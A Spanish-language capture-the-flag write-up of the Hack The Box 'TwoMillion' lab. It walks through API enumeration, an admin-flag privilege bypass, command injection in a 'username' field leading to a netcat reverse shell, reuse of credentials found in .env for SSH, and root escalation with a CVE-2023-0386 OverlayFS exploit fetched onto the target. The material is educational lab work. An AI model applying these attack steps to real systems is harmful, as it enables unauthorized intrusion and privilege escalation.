Table of contents
Skills
- Burpsuite
- API Enumeration
- Remote Command Execution - RCE
- Information leakage - User Pivoting
- The OverlayFS vulnerability - CVE-2023-0386
Reconocimiento
Empezamos creando los directorios para organizar los datos
$ mkdir TwoMillion-10.10.11.221
$ cd TwoMillion-10.10.11.221
$ mkdir nmap content exploit
Seguimos con el escaneo con nmap:
sudo nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.11.221 -oG allPorts
Yo lo exporto en formato grepeable por que tengo una función llamada extractPorts -> (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)
$ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.221
[*] Open ports: 22,80
[*] Ports copied to clipboard
Vamos a realizar un escaneo mas exhaustivo sobre estos puertos
$ nmap -sCV -p22,80 10.10.11.221 -oN targeted
Nmap scan report for 10.10.11.221
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Observamos un nombre de dominio 2million.htb vamos a agregarlo al /etc/hosts
$ echo "10.10.11.221 2million.htb" >> /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Others
10.10.11.221 2million.htb
Vemos el puerto 80 vamos ver las tecnologías y gestores que utiliza con la herramienta whatweb
$ whatweb http://2million.htb
http://2million.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[info@hackthebox.eu], Frame, HTML5, HTTPServer[nginx], IP[10.10.11.221], Meta-Author[Hack The Box], Script, Title[Hack The Box :: Penetration Testing Labs], X-UA-Compatible[IE=edge], YouTube, nginx
No vemos nada interesante, vamos a ver como se ve la pagina web
Vemos algo parecido a la pagina oficial de htb, vemos una sección de login vamos a echarle un vistazo
También tenemos un directorio llamado invite
Mirando el código fuente de este ultimo, nos encontramos con un /js/inviteapi.min.js
Que contiene lo siguiente
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))
Vemos un makeInviteCode, podría ser una función propia de la web vamos a probarlo con la consola a ver que pasa
Y solo puse make y ya me auto-completa, parece que es una función. Vamos a ver que hace
Vemos data que esta encrytada con rot13, esto es muy simple de descifrar así que vamos a verlo en texto plano
Vemos que podemos generar un invite si hacemos una petición por POST a /api/v1/invite/generate
$ curl -s -X POST http://2million.htb/api/v1/invite/generate | jq
{
"0": 200,
"success": 1,
"data": {
"code": "UEJKWk4tVlFSVFAtS1dXSEwtOU1NTEE=",
"format": "encoded"
}
}
Vemos una cadena que parece base64 vamos hacerle un decode
$ echo -n "UEJKWk4tVlFSVFAtS1dXSEwtOU1NTEE=" | base64 -d ;echo
PBJZN-VQRTP-KWWHL-9MMLA
Y vemos un código que parece de invitación, en el /js/inviteapi.min.js vimos un verifyInviteCode vamos a pesarle este código para ver si nos habilita utilizarlo
Y parece que me verifico el código, vamos a intentar usarlo
Y vemos que nos deja crear un usuario, vamos hacerlo y luego nos intentamos logear
Y nos logramos conectar. Una de las secciones donde podemos acceder es access vamos a revisarlo
Vemos para descargar un .ovpn como en htb, cuando nos conectamos para practicar con las maquinas. Vamos a interceptar esa petición con burpsuite para ver como se esta tramitando las dos peticiones la Connection Pack y la Regenerate
Vemos que el Connection Pack hace una petición a /api/v1/user/vpn/generate y el Regenerate /api/v1/user/vpn/regenerate. Vamos a realizar una petición a /api para ver que nos muestra
Vemos que nos muestra la versión del a api, v1 vamos a realizar una petición sobre esta para ver que nos reporta
Y nos reporta la siguiente información sobre la api
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Probando todas las direcciones posibles, al enviar una petición por PUT a /api/v1/admin/settings/update nos muestra lo siguiente
nos sale Invalid content type como parece que todo esta estructurado por json, vamos a añadir la cabecera Content-Type a json para ver si nos representa algo diferente
Vemos que nos pone Missing parameter: email vamos a poner nuestro email
Ahora nos pide un parametro is_admin vamos a ponerle cualquier valor para que nos reporta
Vemos que is_admin solo puede valer 0 o 1, quiero pensar que 0 es para negativo y 1 para afirmar que es admin. Por tanto voy a ponerle 1
Y me pone email not found, error mio que me falto el @ y puse un "." en su lugar
Y parece que funciona, vamos a realizar una petición a /api/v1/admin/auth para verificar si somos admin
Y nos pone true por tanto quiero pensar que somos admin. Vamos a realizar una petición a /api/v1/admin/vpn/generate para ver que nos reporta ahora que somos admin
Nos vuelve a salir el mismo error del Invalid content type, vamos agregarlo
Nos pide el un parámetro username, vamos a agregarlo
En este punto, si vamos probando cosas. Nos encontramos que el campo vulnerable es el de username al parecer no hay ninguna sanitización y simplemente podemos hacer un ";" seguido del comando que queremos ejecutar a nivel de sistema. Hay que agregar un "#" para comentar lo que sigue luego de nuestro input
Ahora simplemente nos toca realizar una revershell para ganar acceso a la maquina victima, me pongo en escucha con nc por el puerto 443
$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.168] from (UNKNOWN) [10.10.11.221] 33186
bash: cannot set terminal process group (1156): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$
Y ganamos acceso al sistema, vamos a realizar un tratamiento a la tty para trabajar mas comodos
$ script /dev/null -c bash
Script started, file is /dev/null
$ ^Z #Ctrl + Z
[1]+ Stopped nc -nlvp 443
$ stty raw -echo;fg
reset xterm
$ export TERM=xterm
$ export SHELL=bash
Esto lo hacemos para poder realizar ctrl+c o ctrl+l sin ningún problema. Vamos a enumerar un poco el sistema
User Pivoting
www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Jul 9 00:10 .
drwxr-xr-x 3 root root 4096 Jun 6 10:22 ..
-rw-r--r-- 1 root root 87 Jun 2 18:56 .env
-rw-r--r-- 1 root root 1237 Jun 2 16:15 Database.php
-rw-r--r-- 1 root root 2787 Jun 2 16:15 Router.php
drwxr-xr-x 5 root root 4096 Jul 9 00:10 VPN
drwxr-xr-x 2 root root 4096 Jun 6 10:22 assets
drwxr-xr-x 2 root root 4096 Jun 6 10:22 controllers
drwxr-xr-x 5 root root 4096 Jun 6 10:22 css
drwxr-xr-x 2 root root 4096 Jun 6 10:22 fonts
drwxr-xr-x 2 root root 4096 Jun 6 10:22 images
-rw-r--r-- 1 root root 2692 Jun 2 18:57 index.php
drwxr-xr-x 3 root root 4096 Jun 6 10:22 js
drwxr-xr-x 2 root root 4096 Jun 6 10:22 views
Vemos un .env en este archivo suele tener contraseñas. Vamos a revisarlo
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Vemos un usuario admin y una contraseña vamos a intentar conectarnos por ssh(puerto 22)
$ shh admin@10.10.11.221
admin@10.10.11.221's password: #SuperDuperPass123
admin@2million:~$
Y ganamos acceso como el user admin
Escalada de privilegio
Seguimos con la enumeración de la maquina, si buscamos por archivos que sean del propietario admin nos encontramos lo sigueinte(elimino ciertas rutas que no hay nada relevante)
Vemos un /var/mail/admin vamos a hecharle un vistazo
admin@2million:/$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
Vemos que se habla hacerca de un CVE OverlaysFs que tiene que ver con el kernel. Investigando nos encontramos con CVE-2023-0386. Yo enconcreto voy a usar el siguiente -> CVE-2023-0386
Nos descargamos el zip del repositorio y lo descomprimimos
$ 7z x CVE-2023-0386-main.zip
$ ls
CVE-2023-0386-main CVE-2023-0386-main.zip
$ cd CVE-2023-0386-main
$ ls
exp.c fuse.c getshell.c Makefile ovlcap README.md test
Para compilarlo hacemos un make all
$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
214 | while (read(fd, content + clen, 1) > 0)
| ^~~~
| fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
216 | close(fd);
| ^~~~~
| pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
221 | rmdir(mount_path);
| ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xadbe): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
$ ls
exp exp.c fuse fuse.c gc getshell.c Makefile ovlcap README.md test
Y vemos que nos crea 3 binarios, vamos a pasalos a la maquina victima
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
admin@2million:/$ mkdir /tmp/escalada
admin@2million:/$ cd /tmp/escalada
admin@2million:/tmp/escalada$ wget -r http://10.10.14.168/
admin@2million:/tmp/escalada$ cd 10.10.14.168/
admin@2million:/tmp/escalada$ ls
Makefile README.md exp exp.c fuse fuse.c gc getshell.c ovlcap test
admin@2million:/tmp/escalada$ chmod +x fuse
admin@2million:/tmp/escalada$ chmod +x exp
admin@2million:/tmp/escalada$ chmod +x gc
Para esto necesitamos 2 consolas interactivas por tanto en una ejecutamos lo siguiente
admin@2million:/tmp/escalada/10.10.14.168$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x4f10
La consola se queda ocupada, nos conectamos otravez por ssh y ejecutamos lo siguente
$ shh admin@10.10.11.221
admin@10.10.11.221's password: #SuperDuperPass123
admin@2million:~$ cd /tmp/escalada/10.10.14.168
admin@2million:/tmp/escalada/10.10.14.168$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Jul 9 01:12 .
drwxrwxr-x 6 root root 4096 Jul 9 01:12 ..
-rwsrwxrwx 1 nobody nogroup 20240 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/escalada/10.10.14.168# whoami
root
Y conseguimos escalar privilegios como root
Conclusión
Maquina bastante wapa de hackthebox para ser easy en mi opinion. Muy chula donde tocamos mucho burpsuite. Espero que les sirva para aprender nuevas cosas y ya sabe, cualquier duda o consulta pueden escribir en los comentarios o contactarme directamente y no tengo problema en hecharles un cable